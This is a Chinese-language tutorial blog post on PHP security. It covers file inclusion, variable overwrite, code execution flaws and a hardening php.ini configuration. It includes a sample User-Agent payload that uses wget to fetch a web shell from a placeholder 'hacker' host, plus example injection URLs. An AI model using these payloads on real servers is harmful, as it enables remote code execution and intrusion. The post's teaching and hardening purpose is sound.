PHP安全

  时至今日,PHP是一种非常流行的web开发语言,但PHP语言的安全问题也很多,而且PHP语言的安全问题有其自身语言的一些特点。

文件包含漏洞

  在互联网的安全历史中,PHP的文件包含漏洞已经臭名昭著了,因为在各种各样的PHP应用中挖出的文件包含漏洞数不胜数,且后果都很严重。
  代码注入攻击的原理是注入一段用户能控制的脚本或代码,并让服务器端执行。代码注入的典型代表就是文件包含(file inclusion)。文件包含可能会出现在JSP、PHP、ASP等语言中,常见的导致文件包含的函数如下:

PHP: include(),include_once(),require(),require_once(),fopen(),readfile(),...;
JSP/Servlet: ava.io.File(),java.io.FileReader(),...
ASP: include file(),include virthal(),...

  文件包含是PHP的一种常见用法:主要有四个函数:

include()
require()
include_once()
require_once()

  当用这四个函数包含一个新的文件时,该文件将作为PHP代码执行,PHP内核并不会在意该被包含的文件是什么类型。所以如果被包含的是txt文件、图片文件、远程URL,也都将作为PHP代码执行。这一特性,在实施攻击时将非常有作用。
  成功利用文件包含漏洞,需要满足两个条件:

  • 1.include()等函数通过动态变量的方式引入需要包含的文件;
  • 2.用户能够控制该动态变量。

本地文件包含

  能够打开并包含本地文件的漏洞,被称为贝本地件包含漏洞(local file inclusion,简称LFI)
  关键词:

  • 字符串截断:PHP0字节(\x00作为字符串结束符;
  • 操作系统对目录最大长度限制,超过最大长度之后的字符将被抛弃(Windows256字节、Linux4096字节)
  • 目录遍历:诸如使用了../../../这样的方式来返回到上层目录中的方式,再利用时可以以编码的方式绕过安全检测;
  • open_basedir:其作用是限制在某个特定目录下PHP能打开的文件,需要注意的是open_basedir的值是目录前缀,列:open_basedir=/home/app/aaa限制目录为/home/app(Windows下多个目录用分号隔开,Linux下用冒号隔开)。

远程文件包含

  如果PHP的配置选项allow_url_include为ON的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞(remote file inclusion,简称RFI)

本地文件包含的利用技巧

  

  • 包含用户上传的文件;
  • 包含data://或php://input等伪协议;
    伪协议如php://input、data://等需要服务器支持,同时要求allow_url_include设置为ON。
  • 包含Session文件;
    包含Session文件的条件需要攻击者能控制部分session文件内容。
  • 包含日志文件,比如web server的access log;
    包含日志文件是一种比较通用的技巧。因为服务器一般都会往web server的access_log里记录客户端的请求消息,在error_log中记录出错的请求。因此攻击者可以间接的将PHP代码写入到日志文件中,在文件包含时,只需要包含日志文件即可。(日至文件每天更新,在凌晨时完成,能够提高效率)
  • 包含/proc/self/environ文件
    包含/proc/self/environ是一种更为通用的方法,他不需要猜测被包含文件的路径,同时用户能控制他的内容,可以看到web进程运行时的环境变量,其中很多都是用户可控的,最常用的方法是在User_Agent中注入PHP代码,比如:
<?php system('wget http://hacker/shells/php.txt -O shell.php');?>

  以上这些方法,都要求PHP能够包含这些文件,而这些文件往往处于web目录之外,如果PHP配置了open_basedir,则很可能使得攻击无效。

  • 包含上传的临时文件(RFC1867)。
    但是PHP创建的上传临时文件,往往处于PHP允许访问的目录范围内。包含这个临时文件的方法,其理论意义大于实际意义。
    PHP会为上传文件创建临时文件,其目录在php.ini的upload_tmp_dir中定义。但该值默认为空,此时在Linux系统下会使用/tmp目录,在Windows下会使用C:\windows\tmp目录。该临时文件的文件名是随机的,攻击者必须准确的猜测出该文件名才能成功利用漏洞。(可以暴力破解,Windows下仅有65535种不同的文件名)
  • 包含其他应用创建的文件,比如数据库文件、缓存文件、应用日志等。

变量覆盖漏洞

全局变量覆盖

  变量如果未被初始化,且能被用户所控制,那么很可能会导致安全问题,在PHP中,这种情况在register_globals为ON时尤为严重。register_globals为ON时,变量来源可能是各个不同的方向,比如页面的表单、cookie等,当用户能够控制变量来源是,无论变量有没有被初始化,都将造成一些安全隐患。

extract()变量覆盖

  extract()函数能将变量从数组导入当前的符号表,其函数定义如下:

int extract(array $var_array [, int $extract_type [, string $prefix]])

  其中第二个参数指定函数将变量导入符号表时的行为,最常见的两个值是“EXTR_OVERWRITE”和“EXTR_SKIP”。当值为“EXTR_OVERWRITE”时,再将值导入符号表的过程中,如果变量名发生冲突,则覆盖已有变量;当值为“EXTR_SKIP”则表示跳不过覆盖。若第二个参数未指定,则默认为“EXTR_OVERWRITE”。
  一种较为安全的做法是确定register_globals=OFF后,在调用extract()时使用EXTR_SKIP保证已有变量不被覆盖。(extract()的来源不能被用户控制)
  在PHP中是由php.ini中的variables_order所定义的顺序来获取变量的。

遍历初始化变量

  常见的一些以遍历的方式释放变量的代码,可能会导致变量覆盖。在代码审计时需要注意类似“$$k”的变量赋值方式有可能覆盖已有变量,从而导致一些不可控制的结果。

import_request_variables变量覆盖

bool import_request_variables(string $type [, string $prefix])

import_request_variables()将GET、POST、Cookie中的变量导入到全局,使用这个函数只需要简单的指定类型即可。

parse_str()变量覆盖

&emsp;&emsp;void parse_str(string $str [,array &$arr])

  parse_str()函数往往被用于解析URL的querystring,但是当参数值能被用户控制时,很可能导致变量覆盖。如果指定了parse_str()的第二个参数,则会将query string中的变量解析后存入该数组变量中。因此在使用parse_str()时,应尽量指定第二个参数。与parse_str()相似的函数还有mb_parse_str()。
  安全建议:
1.确保register_globals=OFF。若不能定义php.ini,则在代码中控制
2.熟悉可能造成变量覆盖的函数和方法,检查用户是否能控制变量的来源。
3.尽可能的初始化变量。

代码执行漏洞

  PHP代码执行的两个关键条件:

  • 第一是用户能够控制的函数输入;
  • 第二是存在可以执行代码的危险函数。

”危险函数“执行代码

  文件包含漏洞是可以引起代码执行的。但在PHP中,能够执行代码的方式远不止文件包含漏洞一种,比如危险函数popen()、system()、passthru()、exec()等都可以执行系统命令。此外,eval()函数也可执行PHP代码。还有一些比较特殊的情况,比如允许用户上传PHP代码,或者是应用写入到服务器的文件内容和文件类型可以由用户控制,都可能导致代码执行。
挖掘漏洞的过程,通常需要先找到危险函数,然后回溯函数的调用过程,最终看在整个调用过程中用户是否有可能控制输入。

”文件写入“执行代码

  在PHP中对文件的操作一定要谨慎,如果文件操作的内容用户可以控制,则也极容易成为漏洞。

其他执行代码方式

直接执行代码的函数

  PHP中有不少可以直接执行代码的函数,比如:eval()、assert()、system()、exec()0、shell_exec()、passthru()、escapeshellcmd()、pcntl_exec()等。一般来说最好在PHP中禁用这些函数,在审计代码时则可以检查代码中是否存在这些函数,然后回溯危险函数的调用过程,看用户是否可以控制输入。

文件包含

  文件包含漏洞也是代码注入的一种,需要高度关注能够包含文件的函数:include(),include_once(),require(),require_once()。

本地文件写入

  常见的能够往本地文件里写入内容的函数有file_put_contents(),fwrite(),fputs()等。写入文件的功能可以和文件包含、危险函数、执行等漏洞结合,最终使得原本用户无法控制的输入变成可控。在代码审计时要注意这种”组合类“漏洞。

preg_replace()代码执行

  preg_replace()的第一个参数如果存在/e模式修饰符,则允许代码执行。当第一个参数中没有没有/e模式修饰符时,也是有可能执行代码的,这要求在第一个参数中包含变量,并且用户可控制,有可能通过注入/e%00的方式截断文本,注入/e。

<?php
$var='<tag>phpinfo()</tag>';
preg_replace("/<tag>(.*?)<\/tag>/e",'addslashes(\\1)',$var);
?>

动态函数执行

  用户自定义的动态函数可以导致代码执行。需要注意如下情况:

<?php
$dyn_func = $_GET['dyn_func'];
$argument = $_GET['argument'];
$dyn_func($argument);
?>

  这种写法近似于后门,将直接导致代码执行,比如:

http://www.example.com/index.php?dyn_func=system&argument=uname

Curly Syntax

  PHP的Curly Syntax也能导致代码执行,他将执行花括号间的代码,并将结果替换回去,如:

<?php
$var = "I Love You ${'ls'}";
?>

  ls命令将列出本地目录的文件

回调函数执行代码

  很多函数都可以执行回调函数,当回调函数用户可控时,将导致代码执行。

<?php
$evil_callback = $_GET['callback'];
$some_array = array(0,1,2,3);
$new_array = array_map($evil_callback,$some_array);
?>

攻击payload如下:

http://www.example.com/index.php?callback=phpinfo

unserialize()导致代码执行

  unserialize()代码执行有两个条件:

  • unserialize()的参数用户可以控制,这样可以构造出需要反序列化的数据结构;
  • 存在_destruct()函数或者_wakeup()函数。这两个函数实现的逻辑决定了能执行什么样的代码。

定制安全的PHP环境

  推荐php.ini中一些安全参数的配置:

  • register_globals
    当register_globals=ON时,PHP不知道变量从何而来,也容易出现一些变量覆盖的问题。因此从最佳实践的角度,强烈建议设置register_globals=OFF,改设置在最新版本的PHP中默认设置。
  • open_basedir
    open_basedir可以限制PHP只能操作指定目录下的文件。这在对抗文件包含、目录遍历等攻击时非常有用。
    open_basedir = /home/web/1/
    
  • allow_url_include
    为了对抗远程文件包含,关闭此选项,一般PHP应用不会用到此选项,而且推荐关闭allow_url_fopen.
    allow_url_include = Off
    allow_url_fopen = Off
    
  • display_errors
    错误回显,它可以暴露出非常多的敏感信息,为攻击者下一步攻击提供便利。推荐关闭
    display_errors = Off
    
  • log_errors
    在正常环境下使用,把错误信息记录在日志里,正好可以关闭错误回显:
    log_errors = On
    
  • magic_quotes_gpc
    推荐关闭,他并不值得依赖,已知已经有若干种方法可以绕过它,甚至由于他的存在反而衍生出了一些新的安全问题。XSS、SQL注入等漏洞,都应该由应用在正确的地方解决,同时关闭它还能提高性能。
    magic_quotes_gpc = Off
    
  • cgi.fix_pathinfo
    若PHP以CGI的方式安装,则需要关闭此项,以避免出现文件解析问题
    cgi.fix_pathinfo = 0
    
  • session.cookie_httponly
    开启httponly
    session.cookie_httponly = 1
    
  • session.cookie_secure
    若是全站HTTPS则请开启此项。
    session.cookie_secure = 1
    
  • safe_mode && disable_functions
    PHP的安全模式是否被开启一直有争议,因为它可以被绕过,disable_functions函数能够在PHP中禁用一些函数。共享环境中(比如:APP Engine)则建议开启safe_mode,并和disable_functions函数配合使用;单独的应用环境,则可以考虑关闭safe_mode,利用disable_functions控制运行环境安全。

小结

  PHP是一门被广泛使用的web开发预言,它的语法和使用方式非常的灵活,这也导致了PHP代码安全评估的难度相对较高,PHP的安全问题相对较多。

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容